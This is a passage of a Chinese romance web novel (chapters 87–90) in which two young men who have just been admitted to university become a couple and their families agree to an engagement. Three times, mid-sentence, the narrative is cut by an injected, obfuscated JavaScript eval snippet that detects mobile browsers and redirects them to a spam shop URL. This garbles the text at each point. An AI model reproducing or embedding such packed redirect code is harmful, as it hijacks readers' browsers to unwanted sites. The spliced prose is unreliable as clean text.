林清宇胆战心惊地在安闻脸上寻找异样,怕安闻又是在进行什么惊天动地的铺垫。 安闻的视线由两人交握的手,转到林清宇的脸上,他抬眸,迎上他的双眼。 “可我想了一夜,都想不出来。你太好了,无论我做什么,都比不上你的千分之一,万分之一。” 林清宇任由他说,眸光垂落,看着两人交缠的手,表情冷淡,看不出什么情绪。 “你为我想的条条退路,都很周到,我绞尽脑汁也不知道还能做些什么。这些年,在我妈的监督下,我早睡早起,锻炼身体,每年体检,不抽烟,酒也很少喝。不过,以后就再也不喝了。也许这样,可以延迟发病时间。” “我昨晚查了资料,结扎是可以复通的,等你好了我们就去医院试一下。你也要给自己留条后路,给林叔和白姨留个念想。” 林清宇哑涩着开口,“我做手术的时候,就没想过复通,如果我好了,你是不是还是想把我推给别人?” “不会了,双人墓地写着我的名字,别人休想住进去。况且林叔说了,他只认我,别人不能进你家的门。” 安闻轻笑,看着他的眼睛,声音像清晨的风,松弛温暖,“如果不能复通,我也查过资料了,未婚的成年人在30岁之后可以领养孩子,那时候我应该还没发病,我们就去领养,等我走了有人照顾你,我也放心。” 林清宇眼尾红了,他赌气道,“还没答应跟我好呢,就跟我交代后事,你死了我就陪你死,不许你说这么不吉利的话。” “林清宇,我家的事情你都知道。我考上了H大的飞行器制造与工程,这个专业虽然不太赚钱,但是花钱的地方也少。而且我妈现在生意挺好的,也攒了一些钱。以后不仅我要麻烦你,我妈也需要人照顾。万一,我不能给她送终,这件事情还是要麻烦你。” 他突然笑了,“我是想表白的,可说来说去,还是一直在给你添麻烦。” 安闻目光温柔,声音慢条斯理,却掷地有声,“所以,林清宇,你之前说都没有人追过你,那现在我追你,好不好?” 87.舒服 清晨的日头格外明亮,阳光顺着窗沿倾泻满地,屋子里暖洋洋,静悄悄的。 安闻这辈子都没说过这么肉麻的话,他既尴尬又羞耻,却又忍不住抬眼去看林清宇。 林清宇带着刚睡醒的惺忪,眼尾眉梢泛红,头发也不服帖地顶在脑袋上,双目失焦,愣愣地看着他。 直到窗台停落了一只信鸽,扑棱了半天翅膀,林清宇才找回神智,他握起安闻的手,放在自己唇边,几乎是贪婪地一下一下亲吻着,泛红的眼眶终于超载,泪水一滴滴地落下来。 “好,现在你追到了。” 安闻的眼睛也模糊了,他擦擦眼睛,声音糯糯的,“那我也追得太容易了吧?” 林清宇把他搂在怀里,揉揉他的脑袋,浓重的鼻音贴在耳畔,沙哑又性感,“我哪里舍得。” 安闻把头埋在林清宇的颈窝处,又羞愧又害臊,明知林清宇不会放他走,却还是想要试探,想骗林清宇说更多的情话。 “林清宇,我很固执,如果我和你好了,就会一直和你好,到死都缠着你,你不要那么快答复我,我给你时间好好想想。” 背上的手力度更紧,伴随着林清宇的低笑,温热的气息挠着安闻的耳垂,痒痒的,麻麻的,“我求之不得,你最好记得你今天说的话。到死都要缠着我,少一秒都不行。” 安闻整个人化成了热烤焦糖啵啵真乳茶,甜涩交织,被温暖包裹。 半晌,他仰起头看着眼前的少年,心疼问道,“林清宇,一直追着我很累吧?” “不累,甘之如饴。” 少年的眸子此刻尽是柔情和满足,化不开的温柔让安闻沉溺,他微低下头,满怀羞涩地说,“林清宇,我是第一次谈恋爱。” “嗯,我也是。”林清宇答。 “接下来我们该做什么?” 林清宇凑近,眸子里不掺一丝杂质,说的话令安闻心若擂鼓,他说,“安闻,我想吻你。” 安闻耳朵尖都红了,他踢掉拖鞋上床,跪坐在床边,娇羞但勇敢,“林清宇,以前我一直退缩,让你吃了很多苦,以后,我也会主动一点。” 不等林清宇反应,他猛地在林清宇唇上点了一下,力度大到好悬把林清宇撞倒。 林清宇被安闻这一下震得头脑一阵山呼海啸,他伸手摸摸自己的唇,戏谑道,“上次我是怎么教你的?接吻要张嘴,还要伸......” 舌头两个字还没来得及说,就猛地住了口,因为他的脖子被安闻环住,然后唇被冰凉的触感覆盖。 安闻的吻很轻,像羽毛拂过,只是温柔地舔舐着嘴唇,林清宇的呼吸就乱了。 安闻笨拙地撬开林清宇的牙关,把舌头伸进去钩林清宇的舌头,可是,他真的没有什么经验,牙齿磕到牙齿,鼻子碰到鼻子,磕磕绊绊,非常尴尬。 林清宇就坐在床上,双手撑在身后,乖乖地让他亲。 最后安闻实在忍不了了,自暴自弃道,“还是你来吧,我不行。” 林清宇笑着搂住他,扣住他的后脑欺身而上,瞬间局势逆转,把安闻压倒在床上。 林清宇接管了主动权,开始了一个更深更重的吻。 一吻完毕,安闻像个熟透的大虾,躺在床上喘着粗气,林清宇太凶了,吻得他差点窒息。 罪魁祸首还压在他身上,哑声问他,“感觉怎么样?” “我.......我们早上没有刷牙。”安闻心跳过速,回避着话题。 林清宇盯着他红润的嘴唇,上面还微微泛着晶莹的水光,然后他从安闻身上慢慢退开,背对他坐起来。 安闻追着他从背后抱住他的腰,“林清宇,很......很舒服,你吻得很舒服。” 林清宇转过身来,抓住他的下巴,跟他嘴贴着嘴耍流氓,“我还能让你更舒服。” 安闻推开他,正想骂他流氓,恍然想起今早的异常,他疑惑得看向林清宇的下身,紧皱眉头,然后惶恐地扑进林清宇怀里。 林清宇不明所以,只听安闻如履薄冰地小声问道,“林清宇,手术之后,你是不是那......那方面不行了?” 林清宇看着他忧心忡忡的样子,忍不住笑了,摸着他的头,“怎么会这么想?” 安闻脸上露出同情的目光,“你刚才亲我,都没有......起来。”他眼神闪烁,不敢跟林清宇对视,“上次我们在沙发上挠痒痒,你都......” 林清宇伸手扣住他的肩膀,逼他与自己对视,忽地弯嘴一笑,语气无奈又宠溺,“安闻,你是不是太急了点?” 安闻白里透着红,红上衬着粉,欲言又止,“可是早上你也没......你是不是真的......” 眼看着安闻都快哭了,林清宇顶了一下胯,然后刮了他的鼻尖,“你放心,你男朋友我很行。” 安闻感受到异样,好像确实还行,想到林清宇说的“男朋友”,耳朵红得又加深了一个色号,他推开林清宇,继而被林清宇大力箍回去。 然后耳畔出来温热的气息,林清宇的声音拂过,“不过要等一个月,那时让你看我的厉害。” 安闻别过脸嘟囔,“臭不要脸,谁想看你的厉害。” 林清宇手术的伤是小事,一个月就会好。更严重的是出柜那天林勇平打的伤。 那天林清宇言辞激烈,字字句句都跟林勇平顶着来,林勇平气没收住,下手狠了些,林清宇现在全身上下都是淤伤,还有右手食指的骨折。 “林清宇,你这样是不是不能出门?”安闻洗了澡,在林清宇柜子里找了一套自己能穿的衣服,回头问趴在床上的用目光打量他的流氓。 “嗯......其实可以出门的,就是我妈不太放心。”林清宇回答。 安闻一想也是,伤得那么重,走路都一瘸一拐的,他耷拉下睫毛喃喃道,“那就改天吧。” 林清宇一只手撑起身子,“做什么改天?” 昨天安闻出来取录取通知书,晚上没有回家,虽然跟白月洁打了电话,但是也怕她担心。况且,今早他跟林清宇在一起了,他想让白月洁知道。但是现在这个状况,林清宇不能跟他回家,他一个人回去说有些难为情。不知道什么时候开始,他已经这么依赖林清宇了。 “我想回家。”他直接了当地告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282495|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉林清宇,“我要回家面对面地告诉我妈,我跟你在一起了。” 林清宇双手撑着床下地,动作利索地安闻都没太看清,“我陪你回去。” 安闻眯着眼睛“啧”一声,“林清宇,我没看出来啊,你身手挺矫健的。” 林清宇也反应过来了,狡辩道,“我一时着急,顾不上疼了。” 安闻抱起肩膀没有说话,眼神里全是警告。 林清宇怂了,弯腰抱住安闻,下巴靠在他肩上,低眉顺眼地承认错误,“我错了,我想装得严重些,你就不舍得走了。你不要生气好不好?” 林清宇身上的伤昨晚安闻偷偷看过,挨打是真挨了,满身淤青不是装的。 他揪着林清宇后脑的头发,迫使他站直,然后回抱住林清宇的腰。把头靠在他肩膀上,“林清宇,既然没那么严重,那跟我回家好不好?我带你去见我妈妈。” 臂弯里的人片刻没有说话,安闻抬头看他,发现林清宇眼圈翻红,睫毛还湿哒哒地黏在一起。 他不由失笑,又心中泛酸。 林清宇把他搂回怀里,轻吻他的耳尖,憋闷地说,“过几天行吗?我现在可能保护不了你。” 安闻趴在他肩膀上轻声地笑,“你去我家打架还是见丈母娘啊?” 他把手环住林清宇的脖子,注视着林清宇的眼睛,真心真意地说,“林清宇,我妈早就知道我喜欢你了。你放心,回去她不会揍你的。” 林清宇一愣,幽黑的眸子漫出惊喜与不可思议,他盯着安闻的嘴唇,“什么时候说的?” 安闻没有回答,抬起头深深吻了上去。 林清宇觉得如果没人打扰,他可以一直亲下去,安闻真的太好亲了,睫毛一抖一抖地扫在自己脸上,嘴唇软软的糯糯的。 所以,在白月洁来敲门的时候,他恨恨地心想,明天就要搬回自己屋去。 白月洁昨晚没有睡好,满脑子想的她儿子把安闻拐跑了,不知道该怎么给兰胜男一个交代。 连夜跟林勇平商量,今天带上林清宇去兰胜男家请罪,又担心自己儿子身体没大好,遭不住兰胜男为难,就这么翻来覆去一晚上,一大清早就去敲林清宇的门,可是林清宇卧室哪还有人,这小兔崽子一晚上都忍不了。 林勇平面色铁青地坐在沙发上看报,见两人一前一后从房间出来,才抬起头睨了一眼,继续看报。 安闻局促地打招呼,“叔叔,阿姨,早上好。” 白月洁笑着应了一声,伸手推了林勇平一下,林勇平不自在地“嗯”了一声。 林清宇拉着大喇喇地坐在沙发上,丝毫没有犯错的自觉。 安闻不禁心虚,怎么感觉有点像被捉奸在床? 白月洁又小幅度地推了一下林勇平,林勇平将手里的报纸折了又折,好像不太满意,又打开重新折了一遍,直到报纸四四方方地折好,他脸都累红了,才轻咳一声,道,“你、你身体还没好。” 屋内万籁俱静,大家都在等着林勇平的下文。 他仿佛脸都憋大了一圈,锤了下太阳穴,“要遵医嘱,那个......控制一下,别那么急。” 88.定亲 安闻蒙受大冤,怎么听起来好像自己是祸国殃民的狐狸精?而且是林清宇爬了自己的床,他在床边坐了一夜,还要被这么冤枉。安闻想开口解释,又不知从何开口,只能恨恨地看着林清宇。 林清宇看了他一眼,撇撇嘴表示自己的无辜。 虽然这是迟早的事情,林清宇却难以忽视安闻被冤枉无措的样子,他捏了捏安闻的手,跟林勇平解释,“爸,你放心吧,你儿子虽然没正调,但是安闻可有分寸了,我昨晚睡不着跑他屋去,他就在床边坐了一夜,床都没上。” “那怎么能行呢?小闻身体也不好,坐一晚上坐出什么毛病可怎么办。”白月洁从小就心疼安闻,一听昨晚安闻坐了一夜,蹭地站起身来。 林勇平显然是不信的,都是小年轻血气方刚过来的,谁不了解谁啊,欲盖弥彰。 不过,这个话题点到为止就可以了,不要太过火,起码这个月先让林清宇把伤养好。 他兀自宣布道,“小宇,小闻,我昨晚和月洁商量了一下,你们的关系现在定下了,这个事情不能瞒着胜男,一会儿吃了饭,我们去小闻家走一趟。” 林清宇转头欣喜地看着安闻,看见安闻呆呆地愣着,他扑上去亲了一口安闻的脸,“高兴傻了?我爸妈一会儿要去你家提亲了!” 下一秒,林清宇的脑袋被林勇平一巴掌拍飞,林勇平恨铁不成钢地斥责,“臭小子,提什么亲!你拐了人家儿子,咱们一家三口要上门赔罪。一会儿胜男是骂你打你,你都得受着,你活该。” 声音的清脆吓地安闻不禁一抖,他回神看见林清宇抱着个脑袋,就下意识去揉他的头,说,“林叔,这事我妈知道。” 林清宇一脸委屈的趴在安闻臂弯,附和道,“就是,白姨早就知道了,她才不会骂我打我。” 林勇平已经脑补出自己儿子撒泼打滚、宁死不屈威逼兰胜男同意的画面了,生了个来讨债的儿子,他实在是丢不起这个人,他压住林清宇的肩头,声音都带点喘,“你、你又干了什么丢人的事了?给我把话说清楚。” 林勇平作为一家之主,生起气来还是挺可怕的,安闻挡在林清宇前面,说,“林叔,是我。不关他的事。是我跟我妈妈说的,我早就喜欢林清宇了......”他越说声音越小,底气不足地解释,“我那时候就是单纯的喜欢他,也没想怎么着,但是没忍住告诉我妈了,我妈也拿我没办法。” 想起来那天的情况,安闻忍不住有些低落,他觉得自己好像又给兰胜男添麻烦了,连忙解释道,“我妈、我妈知道这事,她觉得很对不起你们,一切都是我的错,叔叔阿姨,你们不要怪我妈,也不要怪林清宇,是我没忍住,都是我的错。” 白月洁红着眼圈责怪林勇平,“都怪你,好好的吓唬孩子做什么?”她走过来坐到安闻的另一边,抓着他的手轻轻拍着。 林勇平也是一愣,随后拎开林清宇坐在了安闻旁边。他伸出手臂,生涩地抱住了安闻,“小闻,叔叔没有怪你。我只是内疚,胜男这些年吃了多少苦,我和你白姨都看见了,她费尽心血养出你这么优秀的孩子,被我家小宇拐上了歪路。”林勇平笑了一下,拍拍安闻的后背,“你是个好孩子,非常坚强,懂事。” 林清宇站在旁边,看着沙发上坐着相拥的三个人,感觉他们才是一家三口,他不合时宜地逗乐子说,“还说什么歪路不歪路的,明明是给你又拐回来一个儿子,我看你挺高兴的。” 白月洁“啧”了一声,飞给林清宇一个眼刀,林清宇立刻噤声,笑嘻嘻地坐到沙发上。 安闻有些呆愣,他好像从没有感受过父亲的怀抱,以至于安闻非常不会同年长的男性打交道,他小心翼翼地回抱住林勇平,有些无措,只能笨拙地剖白自己,“林叔,林清宇也是您和白姨费尽心血养大的儿子,我是真的喜欢他,谢谢你们成全我,我保证,我会对他好,你们放心。” “好孩子,放心的,我们放心的,只是这条路太难了,你们两个不好走啊。”白月洁在旁边边抹眼泪边说。 “有什么不好走的!我林勇平的儿子还用不着别人指指点点。”林勇平声音温柔,语气却很坚定。确实,家里有矿,走到哪儿里都不用看人脸色。 林清宇实在是看不下去了,会亲家的大好日子,怎么一直哭天抹泪的。 他凑到三人跟前,趴着林勇平耳朵边,说,“爸,该我抱会儿了吧?” 林勇平抬头,眼圈还泛红,转身给了林清宇一个拥抱。这下林清宇也愣住了,他是想着抱一下安闻安慰安慰的,没想到老爸今天这么感性。 “爸,男儿有泪不轻弹啊。”林林清宇有些无奈,“我都没见您为我哭过,怎么今天还哭上了。” “臭小子,你不懂,你兰姨和小闻这些年太苦了。”林勇平抹抹眼睛,把林清宇推开,疾言厉色道,“以后好好的,被我知道你欺负小闻,我就打折你狗腿。” “好好好。”林清宇双手做投降状,“以后在家,他排老大,我自动排文文后边去。” 林勇平冷哼一声,“那你太高估自己的地位了,你得排我后边,你妈排闻闻后边。” 白月洁沉浸在悲伤里,还在抹眼泪,突然听着爷俩的对话,感觉不对劲,她抬头问,“我排哪个wen wen后边?” 一家人这才反应过来,家里有两个wen wen。恰逢此时,文文听见自己的名字跑过来摇尾巴,嘴里还发出“嗯~嗯~”的撒娇声音。 林清宇把文文抱起来,塞进闻闻怀里,“哪个wen wen 都一样,不管大闻闻还是小文文,都是我的宝。” 白月洁看着两个男孩和小狗,感慨道,“孩子长大当妈的就失宠了。” 林勇平被两个小年轻感染,破天荒地秀了回恩爱,“孩子妈是我的宝。”说完“吧唧”在白月洁脸上亲了一口。 一家人其乐融融,破涕而笑。安闻低下头,摸着小金毛的脑袋,感受着久违的、家的温暖。 *** 林勇平和白月洁早饭都没吃好,一直在里里外外的忙,安闻看着司机和阿姨一箱一箱地往车上搬东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282496|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有些忐忑。 林清宇给他的碗里夹菜,另一只手轻轻捏他的手,“你怎么看着比我还紧张?” “这么隆重的架势,我怕吓到我妈。”安闻回过头,压低声音说,“他虽然知道我喜欢你,但是她跟我一样,并没抱有希望。所以现在我们突然在一起了,我怕她接受不了。” “你已经很勇敢了。”林清宇牵着他的手,垂下头低低地笑,“剩下的交给我,相信我。” 安闻突然站起来,低下头看看自己身上,“不行,我还穿着你的衣服。”他往卧室走,“我得换回自己的衣服。让我妈有个接受的过程。” “不用了。”林清宇拉住他,扶着他的胳膊让他面对自己,“你的衣服在洗衣机里,以前又不是没在兰姨面前穿过我的衣服。” 安闻太焦虑了,他早上跟兰胜男打过招呼,说要回家告诉她一件事,林叔白姨也会一起,兰胜男只是在电话里笑着应了声“好”,知道自己喜欢林清宇是一回事,自己和林清宇已经在一起了是另一回事,安闻是真怕兰胜男难以接受。 “以前是以前,那时候我们还没关系。”安闻有些害羞,他摩挲着林清宇的手,提心吊胆道,“现在我们在谈恋爱,这不一样。”他抬眼瞄了一眼,林勇平正在指挥司机给第二辆车的后备箱装东西,“而且,你家这个阵仗,真的有点像......提、提亲。” 林清宇揽住他的腰,不由失笑,“安闻,只是家长见个面而已。平时咱们两家逢年过节互送礼物聚餐吃饭,你就当今天是庆祝我们拿到录取通知书的家宴。”那双交握在安闻后腰的手,抚上他的后背,一下一下地轻拍,“放心,一切有我。” 林清宇的怀抱有奇妙的安抚作用,安闻渐渐镇定下来。 两家距离虽近,也隔着一条街,步行可以走小路,但天气太热,这么正式的见面还要是坐车去。 林勇平和白月洁坐在前排,林清宇和安闻两个人窝在后排,把宽敞的商务车都衬得拥挤。 上车后,四个人都没说话,只有手机稀稀拉拉地发出消息通知声。 林清宇背靠着车窗拿着手机发消息,时不时抬起眼皮偷看一眼安闻,又低下头抿嘴偷偷地笑。 安闻虽然心不在焉,但是也发现了,每次林清宇停止敲击手机,白月洁和林勇平的手机就会同时响起。他看不到前排,但确定林叔和白姨也在看手机。 他心里有些发慌,又不好意思当着两位长辈的面问林清宇。 这事,林清宇靠过来,把自己的手机递到安闻眼前。 安闻下意识看向屏幕,林勇平的头像是一家三口的照片,昵称就是姓名。 手机屏幕上赫然入目的三条链接: “结扎手术后何时能进行性生活。” “男同爱爱注意事项,小雨伞必不可少。” 第三条链接,只显示了半行,安闻伸出手向上滑。 “支撑同性婚姻的国家一览。” 下面是简短的几句话,“保护好小闻,剩下的爸爸给你撑腰。” 89.家有喜事 抵达安闻家的时候,大门敞着,司机直接把车开进院子。 车刚一停稳,小蓉就冲过来大喊,“小闻哥哥。” 看到先下车的白月洁和林勇平,又怯生生地后退,藏到兰胜男身后。 安闻和林清宇随后下车,就听见兰胜男开口,“来啦?”兰胜男笑笑,说话的声音竟透着一丝温柔,“我正想给小闻打电话呢,小蓉,这是小宇哥哥的爸爸妈妈,快叫人。” 周云辉在后院浇花,听到声音也走过来,跟林氏夫妇生疏但礼貌地打招呼,两家人站在院前寒暄,拘谨扭捏。 从二十多年前两家认识,到现在从没有过这样不自在的样子。 林清宇看见安闻局促地笑了一下,上前一步,手掌状似无意得擦过安闻的手背,自来熟地跟大家打招呼。 “叔叔阿姨好,小蓉好。”他揉了下小蓉的头发,转向周云辉咧着嘴问道,“周叔没去店里呀?” 周云辉鲜少跟林家聚会,但是老街坊也都相熟,他看着林勇平,“家有喜事,歇业一天。” 一句“家有喜事”,把几人拉回日常熟悉的状态,气氛也变得略微自在。 兰胜男伸出手去拉白月洁,与平常并无二样,笑着跟白月洁说体己话,她边往屋里走边招呼,“快进来吧,一直等着你们来呢。” 司机把车上的东西都卸下来,周云辉在旁边跟林勇平聊天,安闻听着不是漂亮的场面话,都是朴实的家常。 安闻从小就看着兰胜男的各种应酬,家里从来没有过男人的交际,看着周云辉和兰胜男小蓉站在一起,突然有点眼热,原来人庇护,有家里人撑腰是这种感觉。 林清宇将安闻的表情变化尽收眼底。他拉着安闻悄悄落后两步,走在人群后面,捏了捏他的手。 恰巧兰胜男回头,两人目光相对,兰胜男笑了,“想牵手就牵吧,偷偷摸摸的像什么样子,好像家里不同意似的。” 林清宇受宠若惊地愣住,白月洁也跟着笑,林勇平回头瞪了一眼林清宇,林清宇看懂了,是在警告他收敛点,别给家里丢人。 他悻悻收回手,就听见林勇平说,“见笑了,俩孩子感情好,这么一会儿都不舍得松手。” 安闻偏头看林清宇,林清宇神情淡淡的得意,没有说话,习惯性地拉过他手腕往屋里走。 安闻没有动,垂下视线看着林清宇握在手腕上的手,他抽出自己的手腕,向着错愕的林清宇一笑,虽然拉过他的手,把手指挤进林清宇的指缝,十指相扣,“以后可以光明正大牵我的手。” 一家人其乐融融地在沙发上闲聊,玄关处被堵得只留下一条缝隙,小蓉艰难地从小山似的礼品堆里寄过来,满心好奇得问林清宇,“小宇哥哥,这都是什么啊?” 林清宇瞟了一眼沙发上的长辈,抚着小蓉的头发柔声说,“里面有给小蓉的漂亮裙子还有好多芭比娃娃,小蓉先进房间玩一会儿,哥哥就把礼物送给你好不好?” 小蓉撇撇嘴说,“小宇哥哥,你不要觉得我小说话避着我,爸爸刚才都告诉我了。” 林清宇惊讶得问,“告诉你什么了?” 小蓉悄悄趴在林清宇耳朵边,一本正经地说,“我爸爸说,你和小闻哥哥在谈恋爱,大家都要祝福你们。但是我得保密,除非经过你们的允许,不能跟外面的人说。” 周云辉被这边两人的小动作吸引,他看过来摆摆手说,“以后我们就是一家人,一家人什么话都可以直说。” 闻言,林清宇站起来,郑重其事。 他看着安闻担心的眼神,微微一笑,用眼神安抚他,然后毕恭毕敬地深鞠一躬。 “叔叔阿姨,我是来赔罪的,对不起。本来没想打扰他的生活,但偶然得知他也喜欢我,而且傻瓜似的因为自己的病一直躲我。那时我才决定,不能放他走。是我死皮赖脸地对他死缠烂打,安闻又心软又有很多顾虑,而且我知道,到现在他做不到毫无顾虑地跟我在一起。” 安闻的心绷紧,林清宇的话在心里作乱。 “他没有安全感,很矛盾,一边想抓紧自己拥有的,一边又因为害怕得到又失去,不敢抓紧,他害怕成为别人的累赘,所以就强迫自己不要拥有,强迫自己装得云淡风轻。”林清宇偏头看着安闻,“这些我都知道。” 安闻攥紧抱枕的一角,低下头不敢与他对视,林清宇懂他,林清宇都知道。 “叔叔阿姨,谢谢你们愿意让我守在安闻身边。我知道口头说的话很轻,所以今天我把我爸爸妈妈带过来,您四位一起给我做个见证。我年纪小,但情窦初开的三年多,一直在喜欢安闻,他是我第一个,也是唯一一个喜欢的人。我会照顾他,保护他,用我整个生命陪伴他。” 安闻觉得林清宇好烦人啊,叽里呱啦一大堆,就是想骗他的眼泪。转脸一看,兰胜男也在抹眼泪,周云辉在旁边无措地给她递纸巾。 这时,林勇平也站了起来,他朝向兰胜男说,“胜男,我是真觉得对不住你,你把小闻拉扯大有多困难我都知道。这孩子我是骂也骂了,打也打了,但他认准小闻铁了心,我就只能拉下脸来求你。” “林哥,你别这么说,这些年没有你和白姐,我们娘俩都不一定能活到现在。”兰胜男也站起来,诚挚地说,“小闻这个情况,我还有什么看不开的,他早就跟我说过喜欢小宇,我心里是有过想法的,但觉得对你们不公平。现在这样,该歉疚的是我。是我们给你添麻烦了。” 白月洁拉着他们两个坐下,“你们这么生分做什么?二十多年的交情了,不说那些欠不欠的话。小闻是个好孩子,我们家是一千个一万个愿意的,现在我们就要你一句准话。”她伸出手招呼林清宇过来,拉着林清宇的手对兰胜男说,“胜男,你记得吗?咱俩怀孕的时候就想给两个孩子定娃娃亲,你如果同意两个孩子在一起,那咱们也算是如了当年的愿。” 兰胜男边哭边笑,“我和小闻前世一定积了德,这辈子才会遇到你们。他们两个在一起,我同意,我也放心。” “胜男,我跟你保证,我们家一定好好对小闻,这话我昨天跟他们说过,今天再跟你说一遍,除了小闻,别人进我家门我是再也不认的。你放心就好。”林勇平说。 林清宇在旁边一直跟林勇平使眼色,林勇平拍了他胳膊一下,硬着头皮说道,“胜男,来之前小宇和我们商量过,他们马上就去H市上学了,这个暑假想把关系定下。” “定下?”安闻茫然地抬起头,兰胜男也是一愣。 林清宇赶紧立正站好,解释道,“兰姨,周叔,我想现在定下,等本科毕业再和安闻去国外领证。”林清宇难得一见地羞赧,他挠挠头继续说,“安闻太招眼,上了大学追他的人肯定一大堆,我想跟安闻先定亲,见过家长走过明路才能放心。” 兰胜男糊里糊涂地总算听懂了,她欣慰地笑道,“你们年轻人的事情,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297411|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们自己商量去,反正我就一句话,除了小宇,别人进我家门,我也是不认的。” 安闻一头雾水,感觉自己渺渺茫茫地就被兰胜男卖了。 他站起来,面无表情地对林清宇勾勾手,“你,跟我进来。” 好一招先斩后奏,自己云里雾里地就被定下了! 林清宇非常忐忑,定亲的事,是来的路上在家庭微信群里跟父母商量的。因为安闻靠在车窗旁人畜无害的样子,太让人动心了。到了大学,花花绿绿的世界,万一安闻被别人迷了眼睛,或者迷了别人的眼睛可怎么办,所以他必须先下手为强。 他跟着安闻进了卧室,本来准备先一步装乖卖萌主动讨好,没想到安闻竟然没有炸毛。只是软软地抱住林清宇,把他抵在墙上,“林清宇,我让你没有安全感了吗?” 语气有些委屈,可怜巴巴的。“我虽然喜欢你的时间比你短,但是我是经过深思熟虑才跟你在一起的。”他把头埋在林清宇颈窝里,憋闷地说,“你给足了我安全感,我相信你。所以同等的,你也要相信我,我想让你有安全感。” 他仰起头,双手板住林清宇的脸,情真意切,毫不掩饰地表白,“我喜欢你,我说了喜欢你,就会一直喜欢你。我的眼里心里脑袋里,全都是你,不会再有别人。” 林清宇喉结滚动,目光灼灼,被眼前的安闻感动地一塌涂地。 他双手揽住安闻的腰,嘴唇向前,却被安闻偏开头躲开了,“喜欢你是喜欢你,但是你还没求婚就要订婚这个事情,我很不爽。” 林清宇本是诧异,后又暧昧地歪了脑袋,眼角眉梢不可克制地流出笑意,“你是在催我求婚吗?” 安闻招架不住想跑,奈何林清宇双臂抱得太紧,他红着脸嘟囔,“你不要曲解我的意思......我还没到法定婚龄呢。” 林清宇目光炯炯地盯着安闻,“反正你是我的,跑不掉。” 舌尖抵入湿润温暖的口腔,舔舐着柔软的上颚,安闻的气息越来越乱,林清宇的手抱得越来越紧,两人的胸膛贴在一起,隔着一层布料,都感觉到滚烫。 嘴唇松开,安闻扶着林清宇的肩膀微喘,林清宇的嘴唇顺着嘴角下移,来到安闻耳后的敏/感区域,他气息滚烫,“宝宝,我等你到法定婚龄再求婚。” 湿热的舌头略过耳垂,“现在只是求亲。” 安闻的耳垂红得快要滴出血来,他大概理解求亲、定亲的意思,却又深思迷离地问道,“什么意思?” 林清宇搂着他精瘦的腰肢,连绵的吻一路向下,眼神停在他小巧的喉结上,林清宇一口咬住,声音含糊,“求你让我亲一亲。” 客厅里传来小蓉的笑声,身下感受到林清宇的异样,安闻瞬间清醒,他揪住林清宇的头发,迫使他的嘴唇离开自己,“不行,林清宇,一个月......”他压抑着气喘,低声说,“一个月,你乖一点。” 林清宇没有抬头,咬着他的喉结含糊说道,“还有几天就一个月了。” 安闻躲不掉,只好伸手堵住他的嘴,“不行,少一天也不行。” 林清宇脸上溢着情动的红,他抬起头轻舔安闻的手心,后脑在墙上磕了两下,嘟着嘴怨怼,“怪你太诱人了。” “啵”的一声,安闻亲在林清宇的嘴唇上,他捏捏林清宇的脸,“乖。” 呵,男人,给一巴掌甩一个甜枣。 偏偏林清宇就吃这套。 90.怕疼 暑期大家都挺忙的,梁米在一家软件公司做保洁,美其名曰打入行业内部,提前感受氛围;王光武和徐佑华在培训机构做暑期家教,准备挣上一笔钱给自己买笔记本电脑;叶笑笑录取通知书还没到,朋友圈到处发旅行照片;卢远和罗晴从澳门回来就确定了恋爱关系,每天上蹿下跳在群里秀恩爱,恨不得全天下都知道。 几个人一直说要聚,一直凑不齐,终于在卢远第七次威胁再不聚会就绝交的时候,敲定聚会时间。 林清宇在厨房忙忙碌碌,好似指挥千军万马的大将军,橱柜里所有的锅碗瓢盆全部上阵。 安闻靠在门边,低头在手机在敲字。 “你出去等。”林清宇赶人出厨房。 安闻收起手机,去抱林清宇的腰,“许久没吃方便面,其实也没那么想。” 林清宇闻言,又从冰箱里拿出肥牛和虾仁,加进锅里,“终于吃腻了吧。” 从高二开始,林清宇变着法地搜罗方便面,各式各样的,找机会给安闻做。安闻其实早就没有执念了,只是存着私心,就想看林清宇为自己忙。 “林清宇。”安闻从背后转到前面,贴在他的胸前,“明天我带你出去吃大餐吧?” 高考结束后,林清宇一直没跟同学联系,大家伙儿还是从学校门口的光荣榜上得知他没有出国。 梁米和叶笑笑问了安闻几次,安闻当时是真的不知道,后来知道了林清宇的情况也顾上告诉他们。 明天聚会,林清宇身体恢复地不错。安闻就自作主张说要带一个朋友参加,让大家多订一个位置。 “大家都挺担心你的。我跟他们说我带一个朋友过去,但没说是你,想给大家一个惊喜。”安闻说。 林清宇把面端上桌,回身捏他的鼻尖,“一个朋友?” “对啊,难道我要说一个男朋友?吓死他们了好吧?” 